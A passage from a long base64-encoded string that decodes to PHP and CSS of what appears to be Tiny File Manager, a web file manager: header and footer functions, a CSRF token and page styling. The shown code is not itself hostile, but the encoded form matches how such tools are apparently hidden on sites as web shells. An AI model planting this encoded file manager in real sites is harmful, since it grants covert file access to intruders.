Dw/cGhwCiAgICB9CgogICAgLyoqCiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm0KICAgICAqLwogICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKQogICAgewogICAgPz4KPC9kaXY+Cjw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz4KPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfQoKLyoqCiAqIFNob3cgSGVhZGVyIGFmdGVyIGxvZ2luCiAqLwpmdW5jdGlvbiBmbV9zaG93X2hlYWRlcigpCnsKJHNwcml0ZXNfdmVyID0gJzIwMTYwMzE1JzsKaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOwpoZWFkZXIoIkV4cGlyZXM6IFNhdCwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7CmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiKTsKaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CgpnbG9iYWwgJGxhbmcsICRyb290X3VybCwgJHN0aWNreV9uYXZiYXIsICRmYXZpY29uX3BhdGg7CiRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ25hdmJhci1maXhlZCcgOiAnbmF2YmFyLW5vcm1hbCc7Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXIiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJDQ1AgUHJvZ3JhbW1lcnMiPgogICAgPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyI+CiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgiPgogICAgPD9waHAgaWYoJGZhdmljb25fcGF0aCkgeyBlY2hvICc8bGluayByZWw9Imljb24iIGhyZWY9IicuZm1fZW5jKCRmYXZpY29uX3BhdGgpLiciIHR5cGU9ImltYWdlL3BuZyI+JzsgfSA/PgogICAgPHRpdGxlPjw/cGhwIGVjaG8gZm1fZW5jKEFQUF9USVRMRSkgPz48L3RpdGxlPgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+CiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1mb250LWF3ZXNvbWUnKTsgPz4KICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+d2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Jzs8L3NjcmlwdD4KICAgIDxzdHlsZT4KICAgICAgICBodG1sIHsgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTsgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7IHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7IGhlaWdodDogMTAwJTsgc2Nyb2xsLWJlaGF2aW9yOiBzbW9vdGg7fQogICAgICAgICosKjo6YmVmb3JlLCo6OmFmdGVyIHsgYm94LXNpemluZzogYm9yZGVyLWJveDt9CiAgICAgICAgYm9keSB7IGZvbnQtc2l6ZToxNXB4OyBjb2xvcjojMjIyO2JhY2tncm91bmQ6I0Y3RjdGNzsgfQogICAgICAgIGJvZHkubmF2YmFyLWZpeGVkIHsgbWFyZ2luLXRvcDo1NXB4OyB9CiAgICAgICAgYSwgYTpob3ZlciwgYTp2aXNpdGVkLCBhOmZvY3VzIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmUgIWltcG9ydGFudDsgfQogICAgICAgIC5maWxlbmFtZSwgdGQsIHRoIHsgd2hpdGUtc3BhY2U6bm93cmFwICB9CiAgICAgICAgLm5hdmJhci1icmFuZCB7IGZvbnQtd2VpZ2h0OmJvbGQ7IH0KICAgICAgICAubmF2LWl0ZW0uYXZhdGFyIGEgeyBjdXJzb3I6cG9pbnRlcjt0ZXh0LXRyYW5zZm9ybTpjYXBpdGFsaXplOyB9CiAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhID4gaSB7IGZvbnQtc2l6ZToxNXB4OyB9CiAgICAgICAgLm5hdi1pdGVtLmF2YXRhciAuZHJvcGRvd24tbWVudSBhIHsgZm9udC1zaXplOjEzcHg7IH0KICAgICAgICAjc2VhcmNoLWFkZG9uIHsgZm9udC1zaXplOjEycHg7Ym9yZGVyLXJpZ2h0LXdpZHRoOjA7IH0KICAgICAgICAuYnJsLTAgeyBiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JvcmRlci1sZWZ0OjA7IGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7IGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6IDA7IH0KICAgICAgICAuYnJyLTAgeyBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDsgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7IH0KICAgICAgICAuYnJlYWQtY3J1bWIgeyBjb2xvcjojY2NjY2NjO2ZvbnQtc3R5bGU6bm9ybWFsOyB9CiAgICAgICAgI21haW4tdGFibGUgeyB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLHdpZHRoIDBzIC4yNXM7fQogICAgICAgICNtYWluLXRhYmxlIC5maWxlbmFtZSBhIHsgY29sb3I6IzIyMjIyMjsgfQogICAgICAgIC50YWJsZSB0ZCwgLnRhYmxlIHRoIHsgdmVydGljYWwtYWxpZ246bWlkZGxlICFpbXBvcnRhbnQ7IH0KICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LCAudGFibGUgLmN1c3RvbS1jaGVja2JveC1oZWFkZXIgLmN1c3RvbS1jb250cm9sLmN1c3RvbS1jaGVja2JveCB7IG1pbi13aWR0aDoxOHB4OyBkaXNwbGF5OiBmbGV4O2FsaWduLWl0ZW1zOiBjZW50ZXI7IGp1c3RpZnktY29udGVudDogY2VudGVyOyB9CiAgICAgICAgLnRhYmxlLXNtIHRkLCAudGFibGUtc20gdGggeyBwYWRkaW5nOi40cmVtOyB9CiAgICAgICAgLnRhYmxlLWJvcmRlcmVkIHRkLCAudGFibGUtYm9yZGVyZWQgdGggeyBib3JkZXI6MXB4IHNvbGlkICNmMWYxZjE7IH0KICAgICAgICAuaGlkZGVuIHsgZGlzcGxheTpub25lICB9CiAgICAgICAgcHJlLndpdGgtaGxqcyB7IHBhZGRpbmc6MDsgb3ZlcmZsb3c6IGhpZGRlbjsgIH0KICAgICAgICBwcmUud2l0aC1obGpzIGNvZGUgeyBtYXJnaW46MDtib3JkZXI6MDtvdmVyZmxvdzpzY3JvbGw7ICB9CiAgICAgICAgY29kZS5tYXhoZWlnaHQsIHByZS5tYXhoZWlnaHQgeyBtYXgtaGVpZ2h0OjUxMnB4ICB9CiAgICAgICAgLmZhLmZhLWNhcmV0LXJpZ2h0IHsgZm9udC1zaXplOjEuMmVtO21hcmdpbjowIDRweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Y29sb3I6I2VjZWNlYyAgfQogICAgICAgIC5mYS5mYS1ob21lIHsgZm9udC1zaXplOjEuM2VtO3ZlcnRpY2FsLWFsaWduOmJvdHRvbSAgfQogICAgICAgIC5wYXRoIHsgbWFyZ2luLWJvdHRvbToxMHB4ICB9CiAgICAgICAgZm9ybS5kcm9wem9uZSB7IG1pbi1oZWlnaHQ6MjAwcHg7Ym9yZGVyOjJweCBkYXNoZWQgIzAwN2JmZjtsaW5lLWhlaWdodDo2cmVtOyB9CiAgICAgICAgLnJpZ2h0IHsgdGV4dC1hbGlnbjpyaWdodCAgfQogICAgICAgIC5jZW50ZXIsIC5jbG9zZSwgLmxvZ2luLWZvcm0sIC5wcmV2aWV3LWltZy1jb250YWluZXIgeyB0ZXh0LWFsaWduOmNlbnRlciAgfQogICAgICAgIC5tZXNzYWdlIHsgcGFkZGluZzo0cHggN3B4O2JvcmRlcjoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmYgIH0KICAgICAgICAubWVzc2FnZS5vayB7IGJvcmRlci1jb2xvcjpncmVlbjtjb2xvcjpncmVlbiAgfQogICAgICAgIC5tZXNzYWdlLmVycm9yIHsgYm9yZGVyLWNvbG9yOnJlZDtjb2xvcjpyZWQgIH0KICAgICAgICAubWVzc2FnZS5hbGVydCB7IGJvcmRlci1jb2xvcjpvcmFuZ2U7Y29sb3I6b3JhbmdlICB9CiAgICAgICAgLnByZXZpZXctaW1nIHsgbWF4LXdpZHRoOjEwMCU7bWF4LWhlaWdodDo4MHZoO2JhY2tncm91bmQ6dXJsKGRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBSUFBQUNRa1dnMkFBQUFLa2xFUVZSNDJtTDUvLzgvQXpidytQRmpyT0pNRENTQ1VRM0VBQlpjNFMwckt6c2FTdlRUQUJCZ0FNeWZDTXNZNEI5aUFBQUFBRWxGVGtTdVFtQ0MpO2N1cnNvcjp6b29tLWluIH0KICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF0geyBkaXNwbGF5Om5vbmUgfQogICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XTpjaGVja2VkIH4gbGFiZWwgPiBpbWcgeyBtYXgtd2lkdGg6bm9uZTttYXgtaGVpZ2h0Om5vbmU7Y3Vyc29yOnpvb20tb3V0IH0KICAgICAgICAuaW5saW5lLWFjdGlvbnMgPiBhID4gaSB7IGZvbnQtc2l6ZToxZW07bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQ6IzM3ODVjMTtjb2xvcjojZmZmO3BhZGRpbmc6M3B4IDRweDtib3JkZXItcmFkaXVzOjNweDsgfQogICAgICAgIC5wcmV2aWV3LXZpZGVvIHsgcG9zaXRpb246cmVsYXRpdmU7bWF4LXdpZHRoOjEwMCU7aGVpZ2h0OjA7cGFkZGluZy1ib3R0b206NjIuNSU7bWFyZ2luLWJvdHRvbToxMHB4ICB9CiAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8geyBwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2xlZnQ6MDt0b3A6MDtiYWNrZ3JvdW5kOiMwMDAgIH0KICAgICAgICAuY29tcGFjdC10YWJsZSB7IGJvcmRlcjowO3dpZHRoOmF1dG8gIH0KICAgICAgICAuY29tcGFjdC10YWJsZSB0ZCwgLmNvbXBhY3QtdGFibGUgdGggeyB3aWR0aDoxMDBweDtib3JkZXI6MDt0ZXh0LWFsaWduOmNlbnRlciAgfQogICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHsgYmFja2dyb3VuZC1jb2xvcjojZmZmICB9CiAgICAgICAgLmZpbGVuYW1lIHsgbWF4LXdpZHRoOjQyMHB4O292ZXJmbG93OmhpZGRlbjt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzICB9CiAgICAgICAgLmJyZWFrLXdvcmQgeyB3b3JkLXdyYXA6YnJlYWstd29yZDttYXJnaW4tbGVmdDozMHB4ICB9CiAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHsgY29sb3I6IzdkN2Q3ZCAgfQogICAgICAgIC5icmVhay13b3JkICsgLmZsb2F0LXJpZ2h0IHsgcGFkZGluZy1yaWdodDozMHB4O3Bvc2l0aW9uOnJlbGF0aXZlICB9CiAgICAgICAgLmJyZWFrLXdvcmQgKyAuZmxvYXQtcmlnaHQgPiBhIHsgY29sb3I6IzdkN2Q3ZDtmb250LXNpemU6MS4yZW07bWFyZ2luLXJpZ2h0OjRweCAgfQogICAgICAgICNlZGl0b3IgeyBwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDoxNXB4O3RvcDoxMDBweDtib3R0b206MTVweDtsZWZ0OjE1cHggIH0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDo0ODFweCkgewogICAgICAgICAgICAjZWRpdG9yIHsgdG9wOjE1MHB4OyB9CiAgICAgICAgfQogICAgICAgICNub3JtYWwtZWRpdG9yIHsgYm9yZGVyLXJhZGl1czozcHg7Ym9yZGVyLXdpZHRoOjJweDtwYWRkaW5nOjEwcHg7b3V0bGluZTpub25lOyB9CiAgICAgICAgLmJ0bi0yIHsgcGFkZGluZzo0cHggMTBweDtmb250LXNpemU6c21hbGw7IH0KICAgICAgICBsaS5maWxlOmJlZm9yZSxsaS5mb2xkZXI6YmVmb3JlIHsgZm9udDpub3JtYWwgbm9ybWFsIG5vcm1hbCAxNHB4LzEgRm9udEF3ZXNvbWU7Y29udGVudDoiXGYwMTYiO21hcmdpbi1yaWdodDo1cHggfQogICAgICAgIGxpLmZvbGRlcjpiZWZvcmUgeyBjb250ZW50OiJcZjExNCIgfQogICAgICAgIGkuZmEuZmEtZm9sZGVyLW8geyBjb2xvcjojMDE1N2IzIH0KICAgICAgICBpLmZhLmZhLXBpY3R1cmUtbyB7IGNvbG9yOiMyNmI5OWEgfQogICAgICAgIGkuZmEuZmEtZmlsZS1hcmNoaXZlLW8geyBjb2xvcjojZGE3ZDdkIH0KICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7IGNvbG9yOmluaGVyaXQgfQogICAgICAgIGkuZmEuZmEtY3NzMyB7IGNvbG9yOiNmMzZmYTAgfQogICAgICAgIGkuZmEuZmEtZmlsZS1jb2RlLW8geyBjb2xvcjojMDA3YmZmIH0KICAgICAgICBpLmZhLmZhLWNvZGUgeyBjb2xvcjojY2M0YjRjIH0KICAgICAgICBpLmZhLmZhLWZpbGUtdGV4dC1vIHsgY29sb3I6IzAwOTZlNiB9CiAgICAgICAgaS5mYS5mYS1odG1sNSB7IGNvbG9yOiNkNzVlNzIgfQogICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHsgY29sb3I6IzA5YzU1ZCB9CiAgICAgICAgaS5mYS5mYS1maWxlLXBvd2VycG9pbnQtbyB7IGNvbG9yOiNmNjcxMmUgfQogICAgICAgIGkuZ28tYmFjayB7IGZvbnQtc2l6ZToxLjJlbTtjb2xvcjojMDA3YmZmOyB9CiAgICAgICAgLm1haW4tbmF2IHsgcGFkZGluZzowLjJyZW0gMXJlbTtib3gtc2hhZG93OjAgNHB4IDVweCAwIHJnYmEoMCwgMCwgMCwgLjE0KSwgMCAxcHggMTBweCAwIHJnYmEoMCwgMCwgMCwgLjEyKSwgMCAycHggNHB4IC0xcHggcmdiYSgwLCAwLCAwLCAuMikgIH0KICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIgeyBkaXNwbGF5Om5vbmU7IH0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmcgeyBjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXIgcmlnaHQ7YmFja2dyb3VuZC1pbWFnZTp1cmwoJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcS9RQ00xb05pSmlkd294MDM1NW1YbkcvRHJFdElRNmF6aW9OWlF4STB5a1BoVFFJd2hDUitCbUJZdGxLN2tMSll3V0NjSkE5TTRxZHJacmQ4cFBqWldQdE9xZFJReTMyMFlTVjE3T2F0RkM0ZXV0czZ6MzlHWU1LUlBDVEtZOVVuUFE2UCtHdE1SZkd0UG5CQ2lxaEFlSlBta3FBQUFBQUVsRlRrU3VRbUNDJyk7IH0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmdfYXNjIHsgY3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyIHJpZ2h0O2JhY2tncm91bmQtaW1hZ2U6dXJsKCdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJNQUFBQVRDQVlBQUFCeVVEYk1BQUFBWjBsRVFWUTR5Mk5nR0xLZ3F1RXVGeEJQQUdJMmFoaFdDc1MvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7IH0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgLnNvcnRpbmdfZGVzYyB7IGN1cnNvcjpwb2ludGVyO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlciByaWdodDtiYWNrZ3JvdW5kLWltYWdlOnVybCgnZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkEvQk9JdjJQQklQRkVVZ3hqQitJZFFQd2ZDOTRIeEx5a3VzNEdpRCtoR2ZRT2lCM0o4U29qRUU5RU0yd3VTSnpjc0ZNRzR0dFFneDREc1JhbGtaRU54TCtBdUpRYU1jc0d4Qk9BbUd2b3BrOEFWejFzTFpnZzBic0FBQUFBU1VWT1JLNUNZSUk9Jyk7IH0KICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7IGJhY2tncm91bmQtaW1hZ2U6bm9uZTsgfQogICAgICAgIC5mb290ZXItYWN0aW9uIGxpIHsgbWFyZ2luLWJvdHRvbToxMHB4OyB9CiAgICAgICAgLmFwcC12LXRpdGxlIHsgZm9udC1zaXplOjI0cHg7Zm9udC13ZWlnaHQ6MzAwO2xldHRlci1zcGFjaW5nOi0uNXB4O3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgfQogICAgICAgIGhyLmN1c3RvbS1ociB7IGJvcmRlci10b3A6MXB4IGRhc2hlZCAjOGM4YjhiO2JvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZmZmOyB9CiAgICAgICAgI3NuYWNrYmFyIHsgdmlzaWJpbGl0eTpoaWRkZW47bWluLXdpZHRoOjI1MHB4O21hcmdpbi1sZWZ0Oi0xMjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7Y29sb3I6I2ZmZjt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItcmFkaXVzOjJweDtwYWRkaW5nOjE2cHg7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDoxO2xlZnQ6NTAlO2JvdHRvbTozMHB4O2ZvbnQtc2l6ZToxN3B4OyB9CiAgICAgICAgI3NuYWNrYmFyLnNob3cgeyB2aXNpYmlsaXR5OnZpc2libGU7LXdlYmtpdC1hbmltYXRpb246ZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO2FuaW1hdGlvbjpmYWRlaW4gMC41cywgZmFkZW91dCAwLjVzIDIuNXM7IH0KICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHsgZnJvbSB7IGJvdHRvbTowO29wYWNpdHk6MDsgfQogICAgICAgIHRvIHsgYm90dG9tOjMwcHg7b3BhY2l0eToxOyB9CiAgICAgICAgfQogICAgICAgIEBrZXlmcmFtZXMgZmFkZWluIHsgZnJvbSB7IGJvdHRvbTowO29wYWNpdHk6MDsgfQogICAgICAgIHRvIHsgYm90dG9tOjMwcHg7b3BhY2l0eToxOyB9CiAgICAgICAgfQogICAgICAgIEAtd2Via2l0LWtleWZyYW1lcyBmYWRlb3V0IHsgZnJvbSB7IGJvdHRvbTozMHB4O29wYWNpdHk6MTsgfQogICAgICAgIHRvIHsgYm90dG9tOjA7b3BhY2l0eTowOyB9CiAgICAgICAgfQogICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7IGZyb20geyBib3R0b206MzBweDtvcGFjaXR5OjE7IH0KICAgICAgICB0byB7IGJvdHRvbTowO29wYWNpdHk6MDsgfQogICAgICAgIH0KICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlIHsgYm9yZGVyLWJvdHRvbToycHggc29saWQgI2Y4ZjlmYSB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMSkgeyBib3JkZXItY29sb3I6I2RmNDIyNyB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikgeyBib3JkZXItY29sb3I6I2Y4YjYwMCB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMykgeyBib3JkZXItY29sb3I6IzAwYmQ2MCB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNCkgeyBib3JkZXItY29sb3I6IzQ1ODFmZiB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkgeyBib3JkZXItY29sb3I6I2FjNjhmYyB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNikgeyBib3JkZXItY29sb3I6IzQ1YzNkMiB9CiAgICAgICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLWRldmljZS13aWR0aDo3NjhweCkgYW5kIChtYXgtZGV2aWNlLXdpZHRoOjEwMjRweCkgYW5kIChvcmllbnRhdGlvbjpsYW5kc2NhcGUpIGFuZCAoLXdlYmtpdC1taW4tZGV2aWNlLXBpeGVsLXJhdGlvOjIpIHsgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYgeyBwYWRkaW5nOjA7IH0KICAgICAgICB9CiAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsLmJ0bi5hY3RpdmU6Zm9jdXMsLmJ0bi5mb2N1cywuYnRuLmZvY3VzOmFjdGl2ZSwuYnRuOmFjdGl2ZTpmb2N1cywuYnRuOmZvY3VzIHsgb3V0bGluZTowIWltcG9ydGFudDtvdXRsaW5lLW9mZnNldDowIWltcG9ydGFudDtiYWNrZ3JvdW5kLWltYWdlOm5vbmUhaW1wb3J0YW50Oy13ZWJraXQtYm94LXNoYWRvdzpub25lIWltcG9ydGFudDtib3gtc2hhZG93Om5vbmUhaW1wb3J0YW50IH0KICAgICAgICAubGRzLWZhY2Vib29rIHsgZGlzcGxheTpub25lO3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjY0cHg7aGVpZ2h0OjY0cHggfQogICAgICAgIC5sZHMtZmFjZWJvb2sgZGl2LC5sZHMtZmFjZWJvb2suc2hvdy1tZSB7IGRpc3BsYXk6aW5saW5lLWJsb2NrIH0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7IHBvc2l0aW9uOmFic29sdXRlO2xlZnQ6NnB4O3dpZHRoOjEzcHg7YmFja2dyb3VuZDojMDA3YmZmO2FuaW1hdGlvbjpsZHMtZmFjZWJvb2sgMS4ycyBjdWJpYy1iZXppZXIoMCwuNSwuNSwxKSBpbmZpbml0ZSB9CiAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHsgbGVmdDo2cHg7YW5pbWF0aW9uLWRlbGF5Oi0uMjRzIH0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikgeyBsZWZ0OjI2cHg7YW5pbWF0aW9uLWRlbGF5Oi0uMTJzIH0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykgeyBsZWZ0OjQ1cHg7YW5pbWF0aW9uLWRlbGF5OjBzIH0KICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7IDAlIHsgdG9wOjZweDtoZWlnaHQ6NTFweCB9CiAgICAgICAgMTAwJSw1MCUgeyB0b3A6MTlweDtoZWlnaHQ6MjZweCB9CiAgICAgICAgfQogICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIHsgcGFkZGluZy1sZWZ0OiAwO2JvcmRlcjogMXB4IHNvbGlkICNlY2VjZWNjYzsgfSB1bCNzZWFyY2gtd3JhcHBlciBsaSB7IGxpc3Qtc3R5bGU6IG5vbmU7IHBhZGRpbmc6IDVweDtib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjOyB9CiAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIgbGk6bnRoLWNoaWxkKG9kZCl7IGJhY2tncm91bmQ6ICNmOWY5ZjljYzt9CiAgICAgICAgLmMtcHJldmlldy1pbWcgeyBtYXgtd2lkdGg6IDMwMHB4OyB9CiAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7IGJvcmRlci1yYWRpdXM6IDA7IH0KICAgICAgICAuZmxvYXQtcmlnaHQgeyBmbG9hdDogcmlnaHQ7IH0KICAgICAgICAudGFibGUtaG92ZXI+dGJvZHk+dHI6aG92ZXI+dGQ6Zmlyc3QtY2hpbGQgeyBib3JkZXItbGVmdDogMXB4IHNvbGlkICMxYjc3ZmQ7IH0KICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHsgYmFja2dyb3VuZC1jb2xvcjogI0Y4RjlGYTsgfQogICAgICAgIC5maWxlbmFtZT5hPmkge21hcmdpbi1yaWdodDogM3B4O30KICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgaWYgKEZNX1RIRU1FID09ICJkYXJrIik6ID8+CiAgICAgICAgPHN0eWxlPgogICAgICAgICAgICA6cm9vdCB7CiAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7CiAgICAgICAgICAgICAgICAtLWJnLWNvbG9yOiAjZjNkYWE2OwogICAgICAgICAgICAgICAgLS1icy1kYXJrLXJnYjogMjgsIDM2LCA0MSAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC50YWJsZS1kYXJrIHsgLS1icy10YWJsZS1iZzogMjgsIDM2LCA0MSAhaW1wb3J0YW50OyB9CiAgICAgICAgICAgIC5idG4tcHJpbWFyeSB7IC0tYnMtYnRuLWJnOiAjMjY1NjZjOyAtLWJzLWJ0bi1ib3JkZXItY29sb3I6ICMyNjU2NmM7IH0KICAgICAgICAgICAgYm9keS50aGVtZS1kYXJrIHsgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KDkwZGVnLCAjMWMyNDI5LCAjMjYzMjM4KTsgY29sb3I6ICNDRkQ4REM7IH0KICAgICAgICAgICAgLmxpc3QtZ3JvdXAgLmxpc3QtZ3JvdXAtaXRlbSB7IGJhY2tncm91bmQ6ICMzNDNhNDA7IH0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLm5hdmJhci1uYXYgaSwgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSwgLmJyZWFrLXdvcmQgeyBjb2xvcjogI0NGRDhEQzsgfQogICAgICAgICAgICBhLCBhOmhvdmVyLCBhOnZpc2l0ZWQsIGE6YWN0aXZlLCAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSwgaS5mYS5mYS1mb2xkZXItbywgaS5nby1iYWNrIHsgY29sb3I6IHZhcigtLWJnLWNvbG